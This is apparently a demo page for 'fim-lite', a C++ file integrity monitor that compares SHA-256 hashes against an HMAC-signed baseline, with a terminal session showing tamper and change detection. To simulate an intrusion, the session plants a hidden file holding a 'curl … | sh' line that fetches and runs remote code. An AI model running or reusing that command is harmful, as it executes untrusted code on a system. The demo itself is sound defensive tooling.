fim-lite
Detects added, removed, and modified files by comparing SHA-256 hashes against a JSON baseline, which can be signed with HMAC so tampering is caught.
- C++17
- CMake
- OpenSSL
- nlohmann/json
- Catch2
~/fim-lite $ export FIMLITE_HMAC_KEY=$(openssl rand -hex 32)
~/fim-lite $ ./build/fim_lite init demo baseline.json --exclude logs
Baseline created: 4 files scanned.
↳ exit 0
~/fim-lite $ sed -i 's/"hash": "f599b38f/"hash": "00000000/' baseline.json
~/fim-lite $ ./build/fim_lite check demo baseline.json
Error: Baseline signature verification failed
↳ exit 5~/fim-lite $ printf 'port=4444\nlog_level=info\n' > demo/etc/config.ini
~/fim-lite $ rm demo/notes.txt
~/fim-lite $ printf 'curl -s http://203.0.113.7/p | sh\n' > demo/bin/.update
~/fim-lite $ printf 'rotated\n' >> demo/logs/app.log
~/fim-lite $ ./build/fim_lite check demo baseline.json
[ADDED] bin/.update
[MODIFIED] etc/config.ini
[REMOVED] notes.txt
↳ exit 1~/fim-lite $ env -u FIMLITE_HMAC_KEY ./build/fim_lite init demo baseline.json --exclude logs
Baseline created: 4 files scanned.
↳ exit 0
~/fim-lite $ ./build/fim_lite check demo baseline.json
Error: Baseline is not signed but an HMAC key was provided
↳ exit 5~/fim-lite $ ./build/fim_lite_tests --colour-mode ansi
Randomness seeded to: 197156011
===============================================================================
All tests passed (149 assertions in 52 test cases)
↳ exit 0baseline.json · signed by init, 2 of 4 entries shown
{
"exclude": [
"logs"
],
"files": [
{
"hash": "c15cf209a2f94346eb53aedf1f2a6f38544874f0731dfb03c92177e98adda450",
"mtime": 1789616373,
"path": "README.txt",
"size": 28
},
{
"hash": "f599b38f403ac7e16fb5b835d6458a68beb858c165d0923a1ff222bb42d2f561",
"mtime": 1789616373,
"path": "bin/start.sh",
"size": 48
},
[… 12 lines]
],
"hmac": "21a16ff246fb2ce1f254ecedcb014f56b25fc4a13a027e92f33d1862891f64c1",
"version": 1
}